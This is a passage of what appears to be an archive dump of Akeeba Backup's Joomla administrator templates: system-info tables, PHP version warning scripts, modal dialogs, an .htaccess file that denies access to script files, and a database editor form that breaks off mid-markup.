				<?php foreach ($phpInfo as $section => $data):
					if ($section == 'Core')
					{
						continue;
					} ?>
					<tr>
						<td><?= htmlentities($section) ?></td>
						<td>
							<?php if (in_array($section, ['curl', 'openssl', 'ssh2', 'ftp', 'session', 'tokenizer'])): ?>
								<pre><?= htmlentities(print_r($data, true)) ?></pre>
							<?php endif; ?>
						</td>
					</tr>
				<?php endforeach; ?>
			</table>
		<?php endif; ?>

		<h3>Enabled Extensions</h3>
		<table class="table table-striped">
			<?php foreach ($extensions as $extension => $info):
				if (strtoupper($info['state']) != 'ENABLED')
				{
					continue;
				} ?>
				<tr>
					<td><?= htmlentities($extension) ?></td>
					<td><?= htmlentities($info['version']) ?></td>
					<td><?= htmlentities($info['type']) ?></td>
					<td><?= htmlentities($info['author']) ?></td>
					<td><?= htmlentities($info['authorUrl']) ?></td>
				</tr>
			<?php endforeach; ?>
		</table>

		<h3>Directory Status</h3>
		<table class="table table-striped">
			<?php foreach ($directories as $k => $v): ?>
				<tr>
					<td>
						<?= htmlentities($k) ?>
						<?= !empty($v['message']) ? "[{$v['message']}]" : '' ?>
					</td>
					<td>
						<?php if ($v['writable']): ?>
							<span class="label label-success">Writeable</span>
						<?php else: ?>
							<span class="label label-danger">Unwriteable</span>
						<?php endif; ?>
					</td>
				</tr>
			<?php endforeach; ?>
		</table>
	</div>
</div>PK     \6L  L  $  tmpl/commontemplates/profilename.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

// Protect from unauthorized access
defined('_JEXEC') || die();

use Joomla\CMS\Language\Text;

/** @var \Joomla\CMS\MVC\View\HtmlView|\Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewProfileIdAndNameTrait $this */

?>
<div class="alert alert-info">
	<strong><?= Text::_('COM_AKEEBABACKUP_CPANEL_PROFILE_TITLE') ?></strong>:
	#<?= (int)($this->profileId) ?> <?= $this->escape($this->profileName) ?>
</div>
PK     \Z+  +  !  tmpl/commontemplates/wrongphp.phpnu [        <?php
/**
 * Obsolete PHP version notification
 *
 * @copyright Copyright (c) 2018-2022 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

(defined('_JEXEC') || defined('WPINC') || defined('APATH_BASE') || defined('AKEEBA_COMMON_WRONGPHP') || defined('KICKSTART')) or die;

if (!function_exists('akeeba_common_wrongphp'))
{
	/**
	 * This function checks if you are using an obsolete PHP version. It returns and boolean status and optionally
	 * prints an error page if your PHP version is, indeed, too old.
	 *
	 * * minPHPVersion: minimum PHP version supported by this software, e.g. "7.2.0"
	 * * softwareName: human-readable software name, e.g. "Akeeba Example"
	 * * silentResutls: suppress error messages on old PHP version, just return false (default: TRUE)
	 * * longVersion: current PHP version, long format, e.g. "7.3.1-12ubuntu3.2". Skip to automatically determine.
	 * * shortVersion: current PHP version, short format, e.g. "7.3". Skip to automatically determine.
	 * * currentTimestamp: current UNIX timestamp. Skip to automatically determine.
	 *
	 * You need to provide at the very least the minPHPVersion and softwareName.
	 *
	 * @param  array  $config
	 *
	 * @return bool  FALSE if your PHP version is too old. TRUE if your PHP version is still supported.
	 * @throws Exception
	 */
	function akeeba_common_wrongphp($config = array())
	{
		/**
		 * Format: version => [maintenance_date, eol_date]
		 *
		 * For versions older than 5.6 we use a fake maintenance_date because this information no longer exists on PHP's
		 * site and it's irrelevant anyway; these PHP versions are already EOL therefore we only use their EOL date.
		 */
		$phpDates = array(
			'3.0' => array('1990-01-01 00:00:00', '2000-10-20 00:00:00'),
			'4.0' => array('1990-01-01 00:00:00', '2001-06-23 00:00:00'),
			'4.1' => array('1990-01-01 00:00:00', '2002-03-12 00:00:00'),
			'4.2' => array('1990-01-01 00:00:00', '2002-09-06 00:00:00'),
			'4.3' => array('1990-01-01 00:00:00', '2005-03-31 00:00:00'),
			'4.4' => array('1990-01-01 00:00:00', '2008-08-07 00:00:00'),
			'5.0' => array('1990-01-01 00:00:00', '2005-09-05 00:00:00'),
			'5.1' => array('1990-01-01 00:00:00', '2006-08-24 00:00:00'),
			'5.2' => array('1990-01-01 00:00:00', '2011-01-11 00:00:00'),
			'5.3' => array('1990-01-01 00:00:00', '2014-08-14 00:00:00'),
			'5.4' => array('1990-01-01 00:00:00', '2015-09-03 00:00:00'),
			'5.5' => array('1990-01-01 00:00:00', '2016-07-10 00:00:00'),
			'5.6' => array('2017-01-10 00:00:00', '2018-12-31 00:00:00'),
			'7.0' => array('2018-01-01 00:00:00', '2019-01-10 00:00:00'),
			'7.1' => array('2018-12-01 00:00:00', '2019-12-01 00:00:00'),
			'7.2' => array('2019-11-30 00:00:00', '2020-11-30 00:00:00'),
			'7.3' => array('2020-12-06 00:00:00', '2021-12-06 00:00:00'),
			'7.4' => array('2021-11-28 00:00:00', '2022-11-28 00:00:00'),
			'8.0' => array('2022-11-26 00:00:00', '2023-11-26 00:00:00'),
			'8.1' => array('2023-11-25 00:00:00', '2024-11-25 00:00:00'),
		);

		// Make sure I have all necessary configuration variables
		$config = array_merge(array(
			'minPHPVersion'         => '7.2.0',
			'softwareName'          => 'This software',
			'silentResults'         => false,
			'longVersion'           => PHP_VERSION,
			'shortVersion'          => sprintf('%d.%d', PHP_MAJOR_VERSION, PHP_MINOR_VERSION),
			'currentTimestamp'      => time(),
		), $config);

		// Selectively extract configuration variables. Do not use extract(), it's potentially dangerous.
		$minPHPVersion         = $config['minPHPVersion'];
		$softwareName          = $config['softwareName'];
		$silentResults         = $config['silentResults'];
		$longVersion           = $config['longVersion'];
		$shortVersion          = $config['shortVersion'];
		$currentTimestamp      = $config['currentTimestamp'];

		if (!version_compare($longVersion, $minPHPVersion, 'lt'))
		{
			unset($minPHPVersion, $softwareName, $longVersion, $shortVersion, $phpDates,
				$silentResults, $currentTimestamp);

			return true;
		}

// Typically used in the frontend to not divulge any information about the server
		if ($silentResults)
		{
			return false;
		}

		/**
		 * Safe defaults for PHP versions older than 5.3.0.
		 *
		 * Older PHP versions don't even have support for DateTime so we need these defaults to prevent this warning script from
		 * bringing the site down with an error.
		 */
		$isEol      = true;
		$isAncient  = true;
		$isSecurity = false;
		$isCurrent  = false;

		$eolDateFormatted      = $phpDates[$shortVersion][1];
		$securityDateFormatted = $phpDates[$shortVersion][0];


		/**
		 * This can only work on PHP 5.2.0 or later
		 */
		if (version_compare($longVersion, '5.2.0', 'ge'))
		{
			$tzGmt        = new DateTimeZone('GMT');
			$securityDate = new DateTime($phpDates[$shortVersion][0], $tzGmt);
			$eolDate      = new DateTime($phpDates[$shortVersion][1], $tzGmt);

			/**
			 * Ancient:  This PHP version has reached end-of-life more than 2 years ago
			 * EOL:      This PHP version has reached end-of-life
			 * Security: This PHP version has reached the Security Support date but not the EOL date yet
			 * Current:  This PHP version is still in Active Support
			 */
			$isEol      = $eolDate->getTimestamp() <= $currentTimestamp;
			$isAncient  = $isEol && (($currentTimestamp - $eolDate->getTimestamp()) >= 63072000);
			$isSecurity = !$isEol && ($securityDate->getTimestamp() <= $currentTimestamp);
			$isCurrent  = !$isEol && !$isSecurity;

			$eolDateFormatted      = $eolDate->format('l, d F Y');
			$securityDateFormatted = $securityDate->format('l, d F Y');
		}

		$characterization = $isCurrent ? 'unsupported' : 'older';
		$characterization = $isEol ? 'obsolete' : $characterization;
		$characterization = $isAncient ? 'dangerously obsolete' : $characterization;

		?>

		<div style="margin: 1em">
			<p style="font-size: 180%; margin: 2em 1em; padding: 2em 1em; text-align: center; border: thin solid #f0ad4e; background-color: gold; font-weight: bold; border-radius: 0.25em">
				<?php echo $softwareName ?> requires PHP <?php echo $minPHPVersion ?> or later.
			</p>
			<h2><?php echo ucfirst($characterization) ?> PHP version <?php echo $longVersion ?> detected</h2>
			<hr />
			<p>
				You can check <a href="https://www.akeeba.com/compatiblity.html">our Compatibility page</a> to see which versions of PHP are supported by each version of our software, select the newest one that fits your site's needs and upgrade your site to it. If you are unsure how to do this, please ask your host.
			</p>
			<p>
				<a href="https://www.akeeba.com/how-do-version-numbers-work.html">Version numbers don't make sense?</a>
			</p>

			<hr />

			<?php if ($isAncient): ?>
				<h3>Urgent security advice</h3>

				<p>
					Your version of PHP, <?php echo $longVersion ?>, <a href="http://php.net/eol.php">has reached the end of its life</a> a <strong>very</strong> long time ago, namely on <?php echo $eolDateFormatted ?>. It has known security vulnerabilities which can be used to compromise (“hack”) web servers. It is no longer safe using it in production. You are <strong>VERY STRONGLY</strong> advised to upgrade your server to a <a href="https://www.php.net/supported-versions.php">supported PHP version</a> as soon as possible.
				</p>
			<?php elseif ($isEol): ?>
				<h3>Security advice</h3>

				<p>
					Your version of PHP, <?php echo $longVersion ?>, <a href="http://php.net/eol.php">has reached the end of its life</a> on <?php echo $eolDateFormatted ?>. End-of-life PHP versions may have security vulnerabilities — which may or may not have been known before they became End of Life — which can be used to compromise (“hack”) your site. It is no longer safe using it in production, even if your host or your Linux distribution claim otherwise. The PHP language developers themselves have said time over time that not all security vulnerabilities fixes can be backported to End-of-Life versions of PHP since they may require architectural changes in PHP itself. You are <strong>strongly</strong> advised to upgrade your server to a <a href="https://www.php.net/supported-versions.php">supported PHP version</a> as soon as possible.
				</p>

			<?php elseif ($isSecurity): ?>
				<h3>Security reminder</h3>

				<p>
					Your version of PHP, <?php echo $longVersion ?>, has entered the “Security Support” phase of its life on <?php echo $securityDateFormatted ?>. As such, only security issues will be addressed but not any of its known functional issues (“bugs”). Unfixed functional issues in PHP can lead to your site not working properly. It is advisable to plan migrating your site to a <a href="https://www.php.net/supported-versions.php">supported PHP version</a> no later than <?php echo $eolDateFormatted ?> – that's when PHP <?php echo $shortVersion ?> will become End-of-Life, therefore completely unsuitable for use on a live server.
				</p>
			<?php endif; ?>

			<?php if ($isSecurity || $isCurrent): ?>
				<h3>Why is my PHP version not supported?</h3>

				<p>
					Even though PHP <?php echo $shortVersion ?> will be supported by the PHP project until <?php echo $eolDateFormatted ?> we are unfortunately unable to provide support for it in our software. This has to do either with missing features or third party libraries. Older PHP versions are missing features we require for our software to work efficiently and be written in a way that makes it possible for us to provide a plethora of relevant features while maintaining good quality control. Moreover, third party libraries we use to provide some of the software's features do not support older PHP versions for the same reason – so even if we don't absolutely need to use at least PHP <?php echo $minPHPVersion ?> the third party libraries do, making it impossible for our software to run on your older version <?php echo $shortVersion ?>. We apologize for the inconvenience.
				</p>
				<p>
					We'd like to remind you, however, that newer PHP versions are always faster and more well-tested than their predecessors. Upgrading your site to a newer PHP version will not only let our software run but will also make your site faster, more stable and help it perform better in search engine results.
				</p>
			<?php endif; ?>
		</div>

		<?php return false;
	}
}

/**
 * Immediately executes the akeeba_common_wrongphp() function on all of our software except Kickstart.
 */
if (!defined('KICKSTART'))
{
	try
	{
		return akeeba_common_wrongphp(array(
			// Configuration -- Override before calling this script
			'minPHPVersion'         => isset($minPHPVersion) ? $minPHPVersion : '7.2.0',
			'softwareName'          => isset($softwareName) ? $softwareName : 'This software',
			'silentResults'         => isset($silentResults) ? $silentResults : false,
			// Override these to test the script
			'longVersion'           => isset($longVersion) ? $longVersion : PHP_VERSION,
			'shortVersion'          => isset($shortVersion) ? $shortVersion : sprintf('%d.%d', PHP_MAJOR_VERSION, PHP_MINOR_VERSION),
			'currentTimestamp'      => isset($currentTimestamp) ? $currentTimestamp : time(),
		));
	}
	catch (Exception $e)
	{
		// This should never happen
		return false;
	}
}PK     \~2ּG/  G/  +  tmpl/commontemplates/phpversion_warning.phpnu [        <?php
/**
 * Old PHP version notification
 *
 * @copyright Copyright (c) 2018-2022 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

(defined('_JEXEC') || defined('WPINC') || defined('APATH_BASE') || defined('AKEEBA_COMMON_WRONGPHP') || defined('KICKSTART')) or die;

if (!function_exists('akeeba_common_phpversion_warning'))
{
	/**
	 * The function checks if you are using an obsolete PHP version and outputs a warning if you do.
	 *
	 * Configuration array:
	 *
	 * * softwareName: human-readable software name, e.g. "Akeeba Example"
	 * * class_priority_low: CSS class for low priority notices
	 * * class_priority_medium: CSS class for medium priority warnings
	 * * class_priority_high: CSS class for high priority errors
	 * * warn_about_maintenance: should I warn about PHP versions which have entered maintenance mode? Def: TRUE.
	 * * maintenance_period: how long after we enter maintenance period should I warn the user? Def: P6M.
	 * * eol_period_too_old: how long after EOL is the PHP version considered dangerous, as DateInterval text, e.g. P3M
	 * * longVersion: current PHP version, long format, e.g. "7.3.1-12ubuntu3.2". Skip to automatically determine.
	 * * shortVersion: current PHP version, short format, e.g. "7.3". Skip to automatically determine.
	 * * currentTimestamp: current UNIX timestamp. Skip to automatically determine.
	 *
	 * You need to provide at the very least the softwareName. The default CSS classes are compatible with Akeeba FEF.
	 * PHP versions in maintenance will be warned about and the period after which an EOL version of PHP is dangerous is
	 * considered to be 3 months.
	 *
	 * @param   array  $config  See above
	 *
	 * @throws  Exception
	 */
	function akeeba_common_phpversion_warning($config = array())
	{
		/**
		 * Format: version => [maintenance_date, eol_date]
		 *
		 * For versions older than 5.6 we use a fake maintenance_date because this information no longer exists on PHP's
		 * site and it's irrelevant anyway; these PHP versions are already EOL therefore we only use their EOL date.
		 */
		$phpDates = array(
			'3.0' => array('1990-01-01 00:00:00', '2000-10-20 00:00:00'),
			'4.0' => array('1990-01-01 00:00:00', '2001-06-23 00:00:00'),
			'4.1' => array('1990-01-01 00:00:00', '2002-03-12 00:00:00'),
			'4.2' => array('1990-01-01 00:00:00', '2002-09-06 00:00:00'),
			'4.3' => array('1990-01-01 00:00:00', '2005-03-31 00:00:00'),
			'4.4' => array('1990-01-01 00:00:00', '2008-08-07 00:00:00'),
			'5.0' => array('1990-01-01 00:00:00', '2005-09-05 00:00:00'),
			'5.1' => array('1990-01-01 00:00:00', '2006-08-24 00:00:00'),
			'5.2' => array('1990-01-01 00:00:00', '2011-01-11 00:00:00'),
			'5.3' => array('1990-01-01 00:00:00', '2014-08-14 00:00:00'),
			'5.4' => array('1990-01-01 00:00:00', '2015-09-03 00:00:00'),
			'5.5' => array('1990-01-01 00:00:00', '2016-07-10 00:00:00'),
			'5.6' => array('2017-01-10 00:00:00', '2018-12-31 00:00:00'),
			'7.0' => array('2018-01-01 00:00:00', '2019-01-10 00:00:00'),
			'7.1' => array('2018-12-01 00:00:00', '2019-12-01 00:00:00'),
			'7.2' => array('2019-11-30 00:00:00', '2020-11-30 00:00:00'),
			'7.3' => array('2020-12-06 00:00:00', '2021-12-06 00:00:00'),
			'7.4' => array('2021-11-28 00:00:00', '2022-11-28 00:00:00'),
			'8.0' => array('2022-11-26 00:00:00', '2023-11-26 00:00:00'),
			'8.1' => array('2023-11-25 00:00:00', '2024-11-25 00:00:00'),
		);

		// Make sure I have all necessary configuration variables
		$useFef = !defined('JVERSION') || version_compare(JVERSION, '4.0.0', 'lt');
		$config = array_merge(array(
			'softwareName'           => 'This software',
			'class_priority_low'     => $useFef ? 'akeeba-block--info' : 'alert alert-info',
			'class_priority_medium'  => $useFef ? 'akeeba-block--warning' : 'alert alert-warning',
			'class_priority_high'    => $useFef ? 'akeeba-block--failure' : 'alert alert-danger',
			'warn_about_maintenance' => true,
			'maintenance_period'     => 'P6M',
			'eol_period_too_old'     => 'P3M',
			'longVersion'            => PHP_VERSION,
			'shortVersion'           => sprintf('%d.%d', PHP_MAJOR_VERSION, PHP_MINOR_VERSION),
			'currentTimestamp'       => time(),
		), $config);

		// Selectively extract configuration variables. Do not use extract(), it's potentially dangerous.
		$softwareName           = $config['softwareName'];
		$class_priority_low     = $config['class_priority_low'];
		$class_priority_medium  = $config['class_priority_medium'];
		$class_priority_high    = $config['class_priority_high'];
		$warn_about_maintenance = $config['warn_about_maintenance'];
		$maintenance_period     = $config['maintenance_period'];
		$eol_period_too_old     = $config['eol_period_too_old'];
		$longVersion            = $config['longVersion'];
		$shortVersion           = $config['shortVersion'];
		$currentTimestamp       = $config['currentTimestamp'];
		$phpVersions            = array_keys($phpDates);
		$lastVersion            = array_pop($phpVersions);

		/**
		 * Safe defaults for PHP versions older than 5.3.0.
		 *
		 * Older PHP versions don't even have support for DateTime so we need these defaults to prevent this warning script from
		 * bringing the site down with an error.
		 */
		$isEol      = true;
		$isAncient  = true;
		$isSecurity = false;
		$isCurrent  = false;
		$isTooNew   = !isset($phpDates[$shortVersion]) && version_compare($shortVersion, $lastVersion, 'gt');

		$eolDateFormatted      = isset($phpDates[$shortVersion]) ? $phpDates[$shortVersion][1] : '';
		$securityDateFormatted = isset($phpDates[$shortVersion]) ? $phpDates[$shortVersion][0] : '';

		/**
		 * This can only work on PHP 5.3.0 or later since we are using DatePeriod (PHP >= 5.3.0)
		 */
		if (version_compare($longVersion, '5.2.0', 'ge') && !$isTooNew)
		{
			$tzGmt         = new DateTimeZone('GMT');
			$securityDate  = new DateTime($phpDates[$shortVersion][0], $tzGmt);
			$eolDate       = new DateTime($phpDates[$shortVersion][1], $tzGmt);
			$ancientPeriod = new DateInterval($eol_period_too_old);
			$ancientDate   = clone $eolDate;
			$ancientDate->add($ancientPeriod);

			if (!empty($maintenance_period))
			{
				$maintenancePeriod = new DateInterval($maintenance_period);
				$securityDate      = $securityDate->add($maintenancePeriod);
			}

			/**
			 * Ancient:  This PHP version has reached end-of-life more than $eol_period_too_old ago
			 * EOL:      This PHP version has reached end-of-life
			 * Security: This PHP version has reached the Security Support date but not the EOL date yet
			 * Current:  This PHP version is still in Active Support
			 */
			$isEol      = $eolDate->getTimestamp() <= $currentTimestamp;
			$isAncient  = $ancientDate->getTimestamp() <= $currentTimestamp;
			$isSecurity = !$isEol && ($securityDate->getTimestamp() <= $currentTimestamp);
			$isCurrent  = !$isEol && !$isSecurity;

			$eolDateFormatted      = $eolDate->format('l, d F Y');
			$securityDateFormatted = $securityDate->format('l, d F Y');
		}

		if ($isCurrent)
		{
			return;
		}

		if ($isTooNew): ?>
			<!-- Your PHP version is too new -->
			<div class="<?php echo $class_priority_medium ?>">
				<h3>PHP version <?php echo $shortVersion ?> is newer than this software supports</h3>

				<p>
					Your site is currently using PHP <?php echo $longVersion ?>. This version of PHP was released after your currently installed version of <?php echo $softwareName ?> was released. As a result, we cannot guarantee that <?php echo $softwareName ?> will work correctly on your site.
				</p>
				<p>
					Please check for an updated version of <?php echo $softwareName ?>. Kindly note that it usually takes us a few days to weeks after the initial (X.Y<strong>.0</strong>) PHP version release before we publish a version of our software which supports it.
				</p>
			</div>
		<?php elseif ($isAncient): ?>
			<!-- Your PHP version has been End-of-Life for a very long time -->
			<div class="<?php echo $class_priority_high ?>">
				<h3>Severely outdated PHP version <?php echo $shortVersion ?></h3>

				<p>
					Your site is currently using PHP <?php echo $longVersion ?>. This version of PHP has become <a href="https://php.net/eol.php" target="_blank">End-of-Life since <?php echo $eolDateFormatted ?></a>. It has not received security updates for a <em>very long time</em>. You MUST NOT use it for a live site!
				</p>
				<p>
					<?php echo $softwareName ?> will stop supporting your version of PHP very soon. You must <strong>very urgently</strong> upgrade to a newer version of PHP. You can check <a href="https://www.akeeba.com/compatibility.html">our Compatibility page</a> to see which versions of PHP are supported by each version of our software, select the newest one that fits your site's needs and upgrade your site to it. You can ask your host or your system administrator for instructions on upgrading PHP. It's easy and it will make your site faster and more secure.
				</p>
			</div>
		<?php
		elseif ($isEol):
			?>
			<!-- Your PHP version has recently been marked End-of-Life -->
			<div class="<?php echo $class_priority_medium ?>">
				<h3>Outdated PHP version <?php echo $shortVersion ?></h3>

				<p>
					Your site is currently using PHP <?php echo $longVersion ?>. This version of PHP has recently become <a href="https://php.net/eol.php" target="_blank">End-of-Life since <?php echo $eolDateFormatted ?></a>. It has stopped receiving security updates. You should not use it for a live site.
				</p>
				<p>
					<?php echo $softwareName ?> will stop supporting your version of PHP in the near future. You should upgrade to a newer version of PHP at your earliest convenience. You can check <a href="https://www.akeeba.com/compatiblity.html">our Compatibility page</a> to see which versions of PHP are supported by each version of our software, select the newest one that fits your site's needs and upgrade your site to it. You can ask your host or your system administrator for instructions on upgrading PHP. It's easy and it will make your site faster and more secure.
				</p>
			</div>
		<?php
		elseif ($warn_about_maintenance):
			?>
			<!-- Your PHP version has entered “Security Support” and will become EOL rather soon -->
			<div class="<?php echo $class_priority_low ?>">
				<h3>PHP <?php echo $shortVersion ?> is approaching End–of–Life</h3>

				<p>
					Your site is currently using PHP <?php echo $longVersion ?>. This version of PHP has entered its “Security maintenance” phase since <?php echo $securityDateFormatted ?> and has stopped receiving bug fixes. It will stop receiving security updates on <?php echo $eolDateFormatted ?> at which point it will be unsuitable for use on a live site. We recommend updating to a newer PHP version as soon as possible.
				</p>
			</div>
		<?php
		endif;
	}
}

/**
 * Immediately executes the akeeba_common_phpversion_warning() function on all of our software except Kickstart.
 */
if (!defined('KICKSTART'))
{
	try
	{
		$useFef = !defined('JVERSION') || version_compare(JVERSION, '4.0.0', 'lt');
		akeeba_common_phpversion_warning(array(
			// Configuration -- Override before calling this script
			'softwareName'           => isset($softwareName) ? $softwareName : 'This software',
			'class_priority_low'     => $useFef ? 'akeeba-block--info' : 'alert alert-info',
			'class_priority_medium'  => $useFef ? 'akeeba-block--warning' : 'alert alert-warning',
			'class_priority_high'    => $useFef ? 'akeeba-block--failure' : 'alert alert-danger',
			'warn_about_maintenance' => isset($warn_about_maintenance) ? ((bool) $warn_about_maintenance) : true,
			'eol_period_too_old'     => isset($eol_period_too_old) ? $eol_period_too_old : 'P3M',
			// Override these to test the script
			'longVersion'            => isset($longVersion) ? $longVersion : PHP_VERSION,
			'shortVersion'           => isset($shortVersion) ? $shortVersion : sprintf('%d.%d', PHP_MAJOR_VERSION, PHP_MINOR_VERSION),
			'currentTimestamp'       => isset($currentTimestamp) ? $currentTimestamp : time(),
		));
	}
	catch (Exception $e)
	{
		// This should never happen
		return;
	}
}
PK     \    &  tmpl/commontemplates/folderbrowser.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

defined('_JEXEC') || die();

use Joomla\CMS\Language\Text;

?>

<div class="modal"
	 id="folderBrowserDialog"
	 tabindex="-1"
	 role="dialog"
	 aria-labelledby="folderBrowserDialogLabel"
     aria-hidden="true"
>
	<div class="modal-dialog modal-lg modal-fullscreen-sm-down modal-dialog-scrollable modal-dialog-centered">
		<div class="modal-content">
			<div class="modal-header">
				<h3 id="folderBrowserDialogLabel" class="modal-title">
					<?= Text::_('COM_AKEEBABACKUP_CONFIG_UI_BROWSER_TITLE') ?>
				</h3>
				<button type="button" class="btn-close novalidate" data-bs-dismiss="modal"
						aria-label="<?= Text::_('JLIB_HTML_BEHAVIOR_CLOSE') ?>">
			</div>
			<div class="modal-body p-3">
				<div id="folderBrowserDialogBody">
				</div>
			</div>
		</div>
	</div>
</div>
PK     \ǣ    #  tmpl/commontemplates/errormodal.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

defined('_JEXEC') || die();

use Joomla\CMS\Language\Text;

?>
<div id="errorDialog"
	 class="modal fade"
	 tabindex="-1"
	 role="dialog"
	 aria-labelledby="errorDialogLabel"
	 aria-hidden="true">
	<div class="modal-dialog">
		<div class="modal-content">
			<div class="modal-header">
				<h3 id="errorDialogLabel" class="modal-title">
					<?= Text::_('COM_AKEEBABACKUP_CONFIG_UI_AJAXERRORDLG_TITLE') ?>
				</h3>
				<button type="button" class="btn-close novalidate" data-bs-dismiss="modal"
						aria-label="<?= Text::_('JLIB_HTML_BEHAVIOR_CLOSE') ?>">
			</div>
			<div class="modal-body p-3">
				<p>
					<?= Text::_('COM_AKEEBABACKUP_CONFIG_UI_AJAXERRORDLG_TEXT') ?>
				</p>
				<pre id="errorDialogPre"></pre>
			</div>
		</div>
	</div>

</div>
PK     \jrՕ    *  tmpl/commontemplates/ftpconnectiontest.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

// Protect from unauthorized access
defined('_JEXEC') || die();

use Joomla\CMS\Language\Text;

?>
<div class="modal fade"
	 id="testFtpDialog"
	 tabindex="-1"
	 role="dialog"
	 aria-labelledby="testFtpDialogLabel"
	 aria-hidden="true"
>
	<div class="modal-dialog">
		<div class="modal-content">
			<div class="modal-header">
				<h3 class="modal-title" id="testFtpDialogLabel"></h3>
				<button type="button" class="btn-close novalidate" data-bs-dismiss="modal"
						aria-label="<?= Text::_('JLIB_HTML_BEHAVIOR_CLOSE') ?>">
			</div>
			<div class="modal-body p-3">
				<div class="alert alert-success" id="testFtpDialogBodyOk"></div>
				<div class="alert alert-danger" id="testFtpDialogBodyFail"></div>
			</div>
		</div>
	</div>
</div>
PK     \      tmpl/commontemplates/hhvm.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

// Protect from unauthorized access
defined('_JEXEC') or die();

?>

<div style="margin: 1em">
	<h1>We have detected that you are running HHVM instead of PHP. This software WILL NOT WORK properly on HHVM. Please switch to PHP 7 instead.</h1>
	<hr/>
	<p>
        HHVM was Facebook's attempt at modernizing the PHP 5.x language and making it faster. Unfortunately it's also incompatible with PHP proper.
        PHP 7 has solved all these issues. It's fast, modern and <em>fully compatible with our software</em>.
        Please switch to PHP 7. If you are unsure how to do that, contact your host or the person responsible for maintaining your server.
        They are the only people who can help you configure your server.
	</p>
	<p>
        Kindly note that HHVM is not -and has never been- a supported execution environment for our software.
        As a result, if you see this message on your site you are unfortunately ineligible for support and / or filing bug reports.
        Please switch to PHP 7. If your problem persists after that we can help you / accept your bug report. Thank you for your understanding.
	</p>
</div>
PK     \Sʉ        tmpl/commontemplates/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \M    "  tmpl/multipledatabases/default.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

defined('_JEXEC') || die();

/** @var \Akeeba\Component\AkeebaBackup\Administrator\View\Multipledatabases\HtmlView $this */

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;

?>
<div id="akEditorDialog"
	 class="modal fade"
	 tabindex="-1"
	 role="dialog"
	 aria-labelledby="akEditorDialogLabel"
	 aria-hidden="true"
>
    <div class="modal-dialog modal-dialog-scrollable modal-dialog-centered modal-lg">
        <div class="modal-content">
            <div class="modal-header">
                <h3 id="akEditorDialogLabel" class="modal-title">
                    <?= Text::_('COM_AKEEBABACKUP_FILEFILTERS_EDITOR_TITLE') ?>
					<button type="button" class="btn-close novalidate" data-bs-dismiss="modal"
							aria-label="<?= Text::_('JLIB_HTML_BEHAVIOR_CLOSE') ?>"></button>
                </h3>
            </div>

            <div id="akEditorDialogBody" class="modal-body p-3">
				<div id="ak_editor_table">
					<div class="row mb-3">
						<label class="col-xs-3 col-form-label" for="ake_driver">
							<?= Text::_('COM_AKEEBABACKUP_MULTIDB_GUI_LBL_DRIVER')?>
						</label>
						<div class="col-xs-9">
							<?= HTMLHelper::_('select.genericlist', [
								'mysqli'   => 'MySQLi',
								'pdomysql' => 'PDO MySQL',
							], 'ake_driver', [
								'list.attr' => [
									'class' => 'form-select',
								],
							], 'value', 'text', null, 'ake_driver') ?>
						</div>
					</div>

					<div class="row mb-3">
						<label class="col-xs-3 col-form-label" for="ake_host">
							<?= Text::_('COM_AKEEBABACKUP_MULTIDB_GUI_LBL_HOST') ?>
						</label>
						<div class="col-xs-9">
							<input class="form-control" id="ake_host" type="text" />
						</div>
					</div>

					<div class="row mb-3">
						<label class="col-xs-3 col-form-label" for="ake_port">
							<?= Text::_('COM_AKEEBABACKUP_MULTIDB_GUI_LBL_PORT') ?>
						</label>
						<div class="col-xs-9">
							<input id="ake_port" type="text" class="form-control" />
						</div>
					</div>

					<div class="row mb-3">
						<label class="col-xs-3 col-form-label" for="ake_username">
							<?= Text::_('COM_AKEEBABACKUP_MULTIDB_GUI_LBL_USERNAME')  ?>
						</label>
						<div class="col-xs-9">
							<input id="ake_username" type="text" class="form-control" />
						</div>
					</div>

					<div class="row mb-3">
						<label class="col-xs-3 col-form-label" for="ake_password">
							<?= Text::_('COM_AKEEBABACKUP_MULTIDB_GUI_LBL_PASSWORD') ?>
						</label>
						<div class="col-xs-9">
							<input id="ake_password" type="password" class="form-control" />
						</div>
					</div>

					<div class="row mb-3">
						<label class="col-xs-3 col-form-label" for="ake_database">
							<?= Text::_('COM_AKEEBABACKUP_MULTIDB_GUI_LBL_DATABASE') ?>
						</label>
						<div class="col-xs-9">
							<input id="ake_database" type="text" class="form-control" />
						</div>
					</div>

					<div class="row mb-3">
						<label class="col-xs-3 col-form-label" for="ake_prefix">
							<?= Text::_('COM_AKEEBABACKUP_MULTIDB_GUI_LBL_PREFIX') ?>
						</label>
						<div class="col-xs-9">
							<input id="ake_prefix" type="text" class="form-control" />
						</div>
					</div>
				</div>
            </div>
			<div class="modal-footer">
				<div class="row mb-3">
					<div class="col">
						<button type="button"
								class="btn btn-dark text-dark" id="akEditorBtnDefault">
							<span class="fa fa-heartbeat"></span>
